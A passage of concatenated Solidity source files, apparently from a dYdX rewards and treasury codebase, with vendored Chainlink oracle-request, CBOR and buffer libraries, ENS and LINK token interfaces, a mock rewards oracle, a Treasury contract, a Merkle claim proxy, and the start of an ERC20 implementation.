* @return requestId The request ID
*/
function requestOracleDataFrom(
address oracleAddress,
Chainlink.Request memory req,
uint256 payment
)
internal
returns (
bytes32 requestId
)
{
return rawRequest(oracleAddress, req, payment, OPERATOR_ARGS_VERSION, oracle.requestOracleData.selector);
}
/**
* @notice Make a request to an oracle
* @param oracleAddress The address of the oracle for the request
* @param req The initialized Chainlink Request
* @param payment The amount of LINK to send for the request
* @param argsVersion The version of data support (single word, multi word)
* @return requestId The request ID
*/
function rawRequest(
address oracleAddress,
Chainlink.Request memory req,
uint256 payment,
uint256 argsVersion,
bytes4 funcSelector
)
private
returns (
bytes32 requestId
)
{
requestId = keccak256(abi.encodePacked(this, requestCount));
req.nonce = requestCount;
pendingRequests[requestId] = oracleAddress;
emit ChainlinkRequested(requestId);
bytes memory encodedData = abi.encodeWithSelector(
funcSelector,
SENDER_OVERRIDE, // Sender value - overridden by onTokenTransfer by the requesting contract's address
AMOUNT_OVERRIDE, // Amount value - overridden by onTokenTransfer by the actual amount of LINK sent
req.id,
req.callbackAddress,
req.callbackFunctionId,
req.nonce,
argsVersion,
req.buf.buf);
require(link.transferAndCall(oracleAddress, payment, encodedData), "unable to transferAndCall to oracle");
requestCount += 1;
}
/**
* @notice Allows a request to be cancelled if it has not been fulfilled
* @dev Requires keeping track of the expiration value emitted from the oracle contract.
* Deletes the request from the `pendingRequests` mapping.
* Emits ChainlinkCancelled event.
* @param requestId The request ID
* @param payment The amount of LINK sent for the request
* @param callbackFunc The callback function specified for the request
* @param expiration The time of the expiration for the request
*/
function cancelChainlinkRequest(
bytes32 requestId,
uint256 payment,
bytes4 callbackFunc,
uint256 expiration
)
internal
{
OperatorInterface requested = OperatorInterface(pendingRequests[requestId]);
delete pendingRequests[requestId];
emit ChainlinkCancelled(requestId);
requested.cancelOracleRequest(requestId, payment, callbackFunc, expiration);
}
/**
* @notice Sets the stored oracle address
* @param oracleAddress The address of the oracle contract
*/
function setChainlinkOracle(
address oracleAddress
)
internal
{
oracle = OperatorInterface(oracleAddress);
}
/**
* @notice Sets the LINK token address
* @param linkAddress The address of the LINK token contract
*/
function setChainlinkToken(
address linkAddress
)
internal
{
link = LinkTokenInterface(linkAddress);
}
/**
* @notice Sets the Chainlink token address for the public
* network as given by the Pointer contract
*/
function setPublicChainlinkToken()
internal
{
setChainlinkToken(PointerInterface(LINK_TOKEN_POINTER).getAddress());
}
/**
* @notice Retrieves the stored address of the LINK token
* @return The address of the LINK token
*/
function chainlinkTokenAddress()
internal
view
returns (
address
)
{
return address(link);
}
/**
* @notice Retrieves the stored address of the oracle contract
* @return The address of the oracle contract
*/
function chainlinkOracleAddress()
internal
view
returns (
address
)
{
return address(oracle);
}
/**
* @notice Allows for a request which was created on another contract to be fulfilled
* on this contract
* @param oracleAddress The address of the oracle contract that will fulfill the request
* @param requestId The request ID used for the response
*/
function addChainlinkExternalRequest(
address oracleAddress,
bytes32 requestId
)
internal
notPendingRequest(requestId)
{
pendingRequests[requestId] = oracleAddress;
}
/**
* @notice Sets the stored oracle and LINK token contracts with the addresses resolved by ENS
* @dev Accounts for subnodes having different resolvers
* @param ensAddress The address of the ENS contract
* @param node The ENS node hash
*/
function useChainlinkWithENS(
address ensAddress,
bytes32 node
)
internal
{
ens = ENSInterface(ensAddress);
ensNode = node;
bytes32 linkSubnode = keccak256(abi.encodePacked(ensNode, ENS_TOKEN_SUBNAME));
ENSResolver_Chainlink resolver = ENSResolver_Chainlink(ens.resolver(linkSubnode));
setChainlinkToken(resolver.addr(linkSubnode));
updateChainlinkOracleWithENS();
}
/**
* @notice Sets the stored oracle contract with the address resolved by ENS
* @dev This may be called on its own as long as `useChainlinkWithENS` has been called previously
*/
function updateChainlinkOracleWithENS()
internal
{
bytes32 oracleSubnode = keccak256(abi.encodePacked(ensNode, ENS_ORACLE_SUBNAME));
ENSResolver_Chainlink resolver = ENSResolver_Chainlink(ens.resolver(oracleSubnode));
setChainlinkOracle(resolver.addr(oracleSubnode));
}
/**
* @notice Ensures that the fulfillment is valid for this contract
* @dev Use if the contract developer prefers methods instead of modifiers for validation
* @param requestId The request ID for fulfillment
*/
function validateChainlinkCallback(
bytes32 requestId
)
internal
recordChainlinkFulfillment(requestId)
// solhint-disable-next-line no-empty-blocks
{}
/**
* @dev Reverts if the sender is not the oracle of the request.
* Emits ChainlinkFulfilled event.
* @param requestId The request ID for fulfillment
*/
modifier recordChainlinkFulfillment(
bytes32 requestId
)
{
require(msg.sender == pendingRequests[requestId],
"Source must be the oracle of the request");
delete pendingRequests[requestId];
emit ChainlinkFulfilled(requestId);
_;
}
/**
* @dev Reverts if the request is already pending
* @param requestId The request ID for fulfillment
*/
modifier notPendingRequest(
bytes32 requestId
)
{
require(pendingRequests[requestId] == address(0), "Request is already pending");
_;
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
/**
* @title IMerkleDistributorV1
* @author dYdX
*
* @notice Partial interface for the MerkleDistributorV1 contract.
*/
interface IMerkleDistributorV1 {
function getIpnsName()
external
virtual
view
returns (string memory);
function getRewardsParameters()
external
virtual
view
returns (uint256, uint256, uint256);
function getActiveRoot()
external
virtual
view
returns (bytes32 merkleRoot, uint256 epoch, bytes memory ipfsCid);
function getNextRootEpoch()
external
virtual
view
returns (uint256);
function claimRewards(
uint256 cumulativeAmount,
bytes32[] calldata merkleProof
)
external
returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import { CBORChainlink } from "./vendor/CBORChainlink.sol";
import { BufferChainlink } from "./vendor/BufferChainlink.sol";
/**
* @title Library for common Chainlink functions
* @dev Uses imported CBOR library for encoding to buffer
*/
library Chainlink {
uint256 internal constant defaultBufferSize = 256; // solhint-disable-line const-name-snakecase
using CBORChainlink for BufferChainlink.buffer;
struct Request {
bytes32 id;
address callbackAddress;
bytes4 callbackFunctionId;
uint256 nonce;
BufferChainlink.buffer buf;
}
/**
* @notice Initializes a Chainlink request
* @dev Sets the ID, callback address, and callback function signature on the request
* @param self The uninitialized request
* @param jobId The Job Specification ID
* @param callbackAddr The callback address
* @param callbackFunc The callback function signature
* @return The initialized request
*/
function initialize(
Request memory self,
bytes32 jobId,
address callbackAddr,
bytes4 callbackFunc
)
internal
pure
returns (
Chainlink.Request memory
)
{
BufferChainlink.init(self.buf, defaultBufferSize);
self.id = jobId;
self.callbackAddress = callbackAddr;
self.callbackFunctionId = callbackFunc;
return self;
}
/**
* @notice Sets the data for the buffer without encoding CBOR on-chain
* @dev CBOR can be closed with curly-brackets {} or they can be left off
* @param self The initialized request
* @param data The CBOR data
*/
function setBuffer(
Request memory self,
bytes memory data
)
internal
pure
{
BufferChainlink.init(self.buf, data.length);
BufferChainlink.append(self.buf, data);
}
/**
* @notice Adds a string value to the request with a given key name
* @param self The initialized request
* @param key The name of the key
* @param value The string value to add
*/
function add(
Request memory self,
string memory key,
string memory value
)
internal
pure
{
self.buf.encodeString(key);
self.buf.encodeString(value);
}
/**
* @notice Adds a bytes value to the request with a given key name
* @param self The initialized request
* @param key The name of the key
* @param value The bytes value to add
*/
function addBytes(
Request memory self,
string memory key,
bytes memory value
)
internal
pure
{
self.buf.encodeString(key);
self.buf.encodeBytes(value);
}
/**
* @notice Adds a int256 value to the request with a given key name
* @param self The initialized request
* @param key The name of the key
* @param value The int256 value to add
*/
function addInt(
Request memory self,
string memory key,
int256 value
)
internal
pure
{
self.buf.encodeString(key);
self.buf.encodeInt(value);
}
/**
* @notice Adds a uint256 value to the request with a given key name
* @param self The initialized request
* @param key The name of the key
* @param value The uint256 value to add
*/
function addUint(
Request memory self,
string memory key,
uint256 value
)
internal
pure
{
self.buf.encodeString(key);
self.buf.encodeUInt(value);
}
/**
* @notice Adds an array of strings to the request with a given key name
* @param self The initialized request
* @param key The name of the key
* @param values The array of string values to add
*/
function addStringArray(
Request memory self,
string memory key,
string[] memory values
)
internal
pure
{
self.buf.encodeString(key);
self.buf.startArray();
for (uint256 i = 0; i < values.length; i++) {
self.buf.encodeString(values[i]);
}
self.buf.endSequence();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface ENSInterface {
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(
bytes32 indexed node,
bytes32 indexed label,
address owner
);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(
bytes32 indexed node,
address owner
);
// Logged when the resolver for a node changes.
event NewResolver(
bytes32 indexed node,
address resolver
);
// Logged when the TTL of a node changes
event NewTTL(
bytes32 indexed node,
uint64 ttl
);
function setSubnodeOwner(
bytes32 node,
bytes32 label,
address owner
) external;
function setResolver(
bytes32 node,
address resolver
) external;
function setOwner(
bytes32 node,
address owner
) external;
function setTTL(
bytes32 node,
uint64 ttl
) external;
function owner(
bytes32 node
)
external
view
returns (
address
);
function resolver(
bytes32 node
)
external
view
returns (
address
);
function ttl(
bytes32 node
)
external
view
returns (
uint64
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface LinkTokenInterface {
function allowance(
address owner,
address spender
)
external
view
returns (
uint256 remaining
);
function approve(
address spender,
uint256 value
)
external
returns (
bool success
);
function balanceOf(
address owner
)
external
view
returns (
uint256 balance
);
function decimals()
external
view
returns (
uint8 decimalPlaces
);
function decreaseApproval(
address spender,
uint256 addedValue
)
external
returns (
bool success
);
function increaseApproval(
address spender,
uint256 subtractedValue
) external;
function name()
external
view
returns (
string memory tokenName
);
function symbol()
external
view
returns (
string memory tokenSymbol
);
function totalSupply()
external
view
returns (
uint256 totalTokensIssued
);
function transfer(
address to,
uint256 value
)
external
returns (
bool success
);
function transferAndCall(
address to,
uint256 value,
bytes calldata data
)
external
returns (
bool success
);
function transferFrom(
address from,
address to,
uint256 value
)
external
returns (
bool success
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./ChainlinkRequestInterface.sol";
import "./OracleInterface.sol";
interface OperatorInterface is
ChainlinkRequestInterface,
OracleInterface
{
function requestOracleData(
address sender,
uint256 payment,
bytes32 specId,
address callbackAddress,
bytes4 callbackFunctionId,
uint256 nonce,
uint256 dataVersion,
bytes calldata data
)
external;
function fulfillOracleRequest2(
bytes32 requestId,
uint256 payment,
address callbackAddress,
bytes4 callbackFunctionId,
uint256 expiration,
bytes calldata data
)
external
returns (
bool
);
function ownerTransferAndCall(
address to,
uint256 value,
bytes calldata data
)
external
returns (
bool success
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface PointerInterface {
function getAddress()
external
view
returns (
address
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
abstract contract ENSResolver {
function addr(
bytes32 node
)
public
view
virtual
returns (
address
);
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.19;
import { BufferChainlink } from "./BufferChainlink.sol";
library CBORChainlink {
using BufferChainlink for BufferChainlink.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_TAG = 6;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
uint8 private constant TAG_TYPE_BIGNUM = 2;
uint8 private constant TAG_TYPE_NEGATIVE_BIGNUM = 3;
function encodeType(
BufferChainlink.buffer memory buf,
uint8 major,
uint value
)
private
pure
{
if(value <= 23) {
buf.appendUint8(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.appendUint8(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.appendUint8(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.appendUint8(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.appendUint8(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(
BufferChainlink.buffer memory buf,
uint8 major
)
private
pure
{
buf.appendUint8(uint8((major << 5) | 31));
}
function encodeUInt(
BufferChainlink.buffer memory buf,
uint value
)
internal
pure
{
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(
BufferChainlink.buffer memory buf,
int value
)
internal
pure
{
if(value < -0x10000000000000000) {
encodeSignedBigNum(buf, value);
} else if(value > 0xFFFFFFFFFFFFFFFF) {
encodeBigNum(buf, value);
} else if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(
BufferChainlink.buffer memory buf,
bytes memory value
)
internal
pure
{
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeBigNum(
BufferChainlink.buffer memory buf,
int value
)
internal
pure
{
buf.appendUint8(uint8((MAJOR_TYPE_TAG << 5) | TAG_TYPE_BIGNUM));
encodeBytes(buf, abi.encode(uint(value)));
}
function encodeSignedBigNum(
BufferChainlink.buffer memory buf,
int input
)
internal
pure
{
buf.appendUint8(uint8((MAJOR_TYPE_TAG << 5) | TAG_TYPE_NEGATIVE_BIGNUM));
encodeBytes(buf, abi.encode(uint(-1 - input)));
}
function encodeString(
BufferChainlink.buffer memory buf,
string memory value
)
internal
pure
{
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(
BufferChainlink.buffer memory buf
)
internal
pure
{
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(
BufferChainlink.buffer memory buf
)
internal
pure
{
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(
BufferChainlink.buffer memory buf
)
internal
pure
{
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev A library for working with mutable byte buffers in Solidity.
*
* Byte buffers are mutable and expandable, and provide a variety of primitives
* for writing to them. At any time you can fetch a bytes object containing the
* current contents of the buffer. The bytes object should not be stored between
* operations, as it may change due to resizing of the buffer.
*/
library BufferChainlink {
/**
* @dev Represents a mutable buffer. Buffers have a current value (buf) and
* a capacity. The capacity may be longer than the current value, in
* which case it can be extended without the need to allocate more memory.
*/
struct buffer {
bytes buf;
uint capacity;
}
/**
* @dev Initializes a buffer with an initial capacity.
* @param buf The buffer to initialize.
* @param capacity The number of bytes of space to allocate the buffer.
* @return The buffer, for chaining.
*/
function init(
buffer memory buf,
uint capacity
)
internal
pure
returns(
buffer memory
)
{
if (capacity % 32 != 0) {
capacity += 32 - (capacity % 32);
}
// Allocate space for the buffer data
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(32, add(ptr, capacity)))
}
return buf;
}
/**
* @dev Initializes a new buffer from an existing bytes object.
* Changes to the buffer may mutate the original value.
* @param b The bytes object to initialize the buffer with.
* @return A new buffer.
*/
function fromBytes(
bytes memory b
)
internal
pure
returns(
buffer memory
)
{
buffer memory buf;
buf.buf = b;
buf.capacity = b.length;
return buf;
}
function resize(
buffer memory buf,
uint capacity
)
private
pure
{
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(
uint a,
uint b
)
private
pure
returns(
uint
)
{
if (a > b) {
return a;
}
return b;
}
/**
* @dev Sets buffer length to 0.
* @param buf The buffer to truncate.
* @return The original buffer, for chaining..
*/
function truncate(
buffer memory buf
)
internal
pure
returns (
buffer memory
)
{
assembly {
let bufptr := mload(buf)
mstore(bufptr, 0)
}
return buf;
}
/**
* @dev Writes a byte string to a buffer. Resizes if doing so would exceed
* the capacity of the buffer.
* @param buf The buffer to append to.
* @param off The start offset to write to.
* @param data The data to append.
* @param len The number of bytes to copy.
* @return The original buffer, for chaining.
*/
function write(
buffer memory buf,
uint off,
bytes memory data,
uint len
)
internal
pure
returns(
buffer memory
)
{
require(len <= data.length);
if (off + len > buf.capacity) {
resize(buf, max(buf.capacity, len + off) * 2);
}
uint dest;
uint src;
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Length of existing buffer data
let buflen := mload(bufptr)
// Start address = buffer address + offset + sizeof(buffer length)
dest := add(add(bufptr, 32), off)
// Update buffer length if we're extending it
if gt(add(len, off), buflen) {
mstore(bufptr, add(len, off))
}
src := add(data, 32)
}
// Copy word-length chunks while possible
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
/**
* @dev Appends a byte string to a buffer. Resizes if doing so would exceed
* the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @param len The number of bytes to copy.
* @return The original buffer, for chaining.
*/
function append(
buffer memory buf,
bytes memory data,
uint len
)
internal
pure
returns (
buffer memory
)
{
return write(buf, buf.buf.length, data, len);
}
/**
* @dev Appends a byte string to a buffer. Resizes if doing so would exceed
* the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer, for chaining.
*/
function append(
buffer memory buf,
bytes memory data
)
internal
pure
returns (
buffer memory
)
{
return write(buf, buf.buf.length, data, data.length);
}
/**
* @dev Writes a byte to the buffer. Resizes if doing so would exceed the
* capacity of the buffer.
* @param buf The buffer to append to.
* @param off The offset to write the byte at.
* @param data The data to append.
* @return The original buffer, for chaining.
*/
function writeUint8(
buffer memory buf,
uint off,
uint8 data
)
internal
pure
returns(
buffer memory
)
{
if (off >= buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Length of existing buffer data
let buflen := mload(bufptr)
// Address = buffer address + sizeof(buffer length) + off
let dest := add(add(bufptr, off), 32)
mstore8(dest, data)
// Update buffer length if we extended it
if eq(off, buflen) {
mstore(bufptr, add(buflen, 1))
}
}
return buf;
}
/**
* @dev Appends a byte to the buffer. Resizes if doing so would exceed the
* capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer, for chaining.
*/
function appendUint8(
buffer memory buf,
uint8 data
)
internal
pure
returns(
buffer memory
)
{
return writeUint8(buf, buf.buf.length, data);
}
/**
* @dev Writes up to 32 bytes to the buffer. Resizes if doing so would
* exceed the capacity of the buffer.
* @param buf The buffer to append to.
* @param off The offset to write at.
* @param data The data to append.
* @param len The number of bytes to write (left-aligned).
* @return The original buffer, for chaining.
*/
function write(
buffer memory buf,
uint off,
bytes32 data,
uint len
)
private
pure
returns(
buffer memory
)
{
if (len + off > buf.capacity) {
resize(buf, (len + off) * 2);
}
uint mask = 256 ** len - 1;
// Right-align data
data = data >> (8 * (32 - len));
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Address = buffer address + sizeof(buffer length) + off + len
let dest := add(add(bufptr, off), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
// Update buffer length if we extended it
if gt(add(off, len), mload(bufptr)) {
mstore(bufptr, add(off, len))
}
}
return buf;
}
/**
* @dev Writes a bytes20 to the buffer. Resizes if doing so would exceed the
* capacity of the buffer.
* @param buf The buffer to append to.
* @param off The offset to write at.
* @param data The data to append.
* @return The original buffer, for chaining.
*/
function writeBytes20(
buffer memory buf,
uint off,
bytes20 data
)
internal
pure
returns (
buffer memory
)
{
return write(buf, off, bytes32(data), 20);
}
/**
* @dev Appends a bytes20 to the buffer. Resizes if doing so would exceed
* the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer, for chhaining.
*/
function appendBytes20(
buffer memory buf,
bytes20 data
)
internal
pure
returns (
buffer memory
)
{
return write(buf, buf.buf.length, bytes32(data), 20);
}
/**
* @dev Appends a bytes32 to the buffer. Resizes if doing so would exceed
* the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer, for chaining.
*/
function appendBytes32(
buffer memory buf,
bytes32 data
)
internal
pure
returns (
buffer memory
)
{
return write(buf, buf.buf.length, data, 32);
}
/**
* @dev Writes an integer to the buffer. Resizes if doing so would exceed
* the capacity of the buffer.
* @param buf The buffer to append to.
* @param off The offset to write at.
* @param data The data to append.
* @param len The number of bytes to write (right-aligned).
* @return The original buffer, for chaining.
*/
function writeInt(
buffer memory buf,
uint off,
uint data,
uint len
)
private
pure
returns(
buffer memory
)
{
if (len + off > buf.capacity) {
resize(buf, (len + off) * 2);
}
uint mask = 256 ** len - 1;
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Address = buffer address + off + sizeof(buffer length) + len
let dest := add(add(bufptr, off), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
// Update buffer length if we extended it
if gt(add(off, len), mload(bufptr)) {
mstore(bufptr, add(off, len))
}
}
return buf;
}
/**
* @dev Appends a byte to the end of the buffer. Resizes if doing so would
* exceed the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer.
*/
function appendInt(
buffer memory buf,
uint data,
uint len
)
internal
pure
returns(
buffer memory
)
{
return writeInt(buf, buf.buf.length, data, len);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface ChainlinkRequestInterface {
function oracleRequest(
address sender,
uint256 requestPrice,
bytes32 serviceAgreementID,
address callbackAddress,
bytes4 callbackFunctionId,
uint256 nonce,
uint256 dataVersion,
bytes calldata data
) external;
function cancelOracleRequest(
bytes32 requestId,
uint256 payment,
bytes4 callbackFunctionId,
uint256 expiration
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface OracleInterface {
function fulfillOracleRequest(
bytes32 requestId,
uint256 payment,
address callbackAddress,
bytes4 callbackFunctionId,
uint256 expiration,
bytes32 data
)
external
returns (
bool
);
function withdraw(
address recipient,
uint256 amount
) external;
function withdrawable()
external
view
returns (
uint256
);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
import { IRewardsOracle } from '../interfaces/IRewardsOracle.sol';
contract MockRewardsOracle is IRewardsOracle {
bytes32 _MERKLE_ROOT_;
uint256 _EPOCH_;
bytes _IPFS_CID_;
function read()
external
override
view
returns (bytes32 merkleRoot, uint256 epoch, bytes memory ipfsCid)
{
return (_MERKLE_ROOT_, _EPOCH_, _IPFS_CID_);
}
function setMockValue(
bytes32 merkleRoot,
uint256 epoch,
bytes calldata ipfsCid
)
external
{
_MERKLE_ROOT_ = merkleRoot;
_EPOCH_ = epoch;
_IPFS_CID_ = ipfsCid;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
import { OwnableUpgradeable } from '../dependencies/open-zeppelin/OwnableUpgradeable.sol';
import { SafeERC20 } from '../dependencies/open-zeppelin/SafeERC20.sol';
import { VersionedInitializable } from '../utils/VersionedInitializable.sol';
import { IERC20 } from '../interfaces/IERC20.sol';
/**
* @title Treasury
* @notice Stores DYDX kept for incentives, just giving approval to the different
* systems that will pull DYDX funds for their specific use case.
* @author dYdX
**/
contract Treasury is
OwnableUpgradeable,
VersionedInitializable
{
using SafeERC20 for IERC20;
uint256 public constant REVISION = 1;
function getRevision() internal pure override returns (uint256) {
return REVISION;
}
function initialize() external initializer {
__Ownable_init();
}
function approve(
address token,
address recipient,
uint256 amount
) external onlyOwner {
// SafeERC20 safeApprove requires setting to zero first.
IERC20(token).safeApprove(recipient, 0);
IERC20(token).safeApprove(recipient, amount);
}
function transfer(
address token,
address recipient,
uint256 amount
) external onlyOwner {
IERC20(token).safeTransfer(recipient, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import "./Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import { SafeERC20 } from '../dependencies/open-zeppelin/SafeERC20.sol';
import { IERC20 } from '../interfaces/IERC20.sol';
interface IMerkleDistributorV1 {
function claimRewards(
uint256 cumulativeAmount,
bytes32[] calldata merkleProof
)
external
returns (uint256);
}
/**
* @title TreasuryMerkleClaimProxy
* @author dYdX
*
* @notice Contract which claims DYDX rewards from the merkle distributor and immediately
* transfers the rewards to the community treasury.
*
* This contract is meant to be used for transferring all unclaimed epoch zero retroactive
* mining rewards to the community treasury.
*/
contract TreasuryMerkleClaimProxy {
using SafeERC20 for IERC20;
// ============ Constants ============
IMerkleDistributorV1 public immutable MERKLE_DISTRIBUTOR;
/// @notice Address to send claimed merkle rewards to.
address public immutable COMMUNITY_TREASURY;
IERC20 public immutable REWARDS_TOKEN;
// ============ Constructor ============
constructor(IMerkleDistributorV1 merkleDistributor, address communityTreasury, IERC20 rewardsToken) {
MERKLE_DISTRIBUTOR = merkleDistributor;
COMMUNITY_TREASURY = communityTreasury;
REWARDS_TOKEN = rewardsToken;
}
// ============ External Functions ============
/**
* @notice Claims rewards from merkle distributor and forwards them to the community treasury.
*
* @param merkleCumulativeAmount The cumulative rewards amount owned by this proxy on behalf of the treasury,
* in the MerkleDistributorV1 rewards tree.
* @param merkleProof The Merkle proof to claim rewards for this proxy on behalf of the treasury.
*
* @return The total number of rewards claimed and transferred to the community treasury.
*/
function claimRewards(
uint256 merkleCumulativeAmount,
bytes32[] calldata merkleProof
)
external
returns (uint256)
{
uint256 claimedRewards = MERKLE_DISTRIBUTOR.claimRewards(merkleCumulativeAmount, merkleProof);
REWARDS_TOKEN.safeTransfer(COMMUNITY_TREASURY, claimedRewards);
return claimedRewards;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.5;
import "./Context.sol";
import "./IERC20.sol";
import "./SafeMath.sol";
import "./Address.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string internal _name;
string internal _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() virtual public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() virtual public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() virtual public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
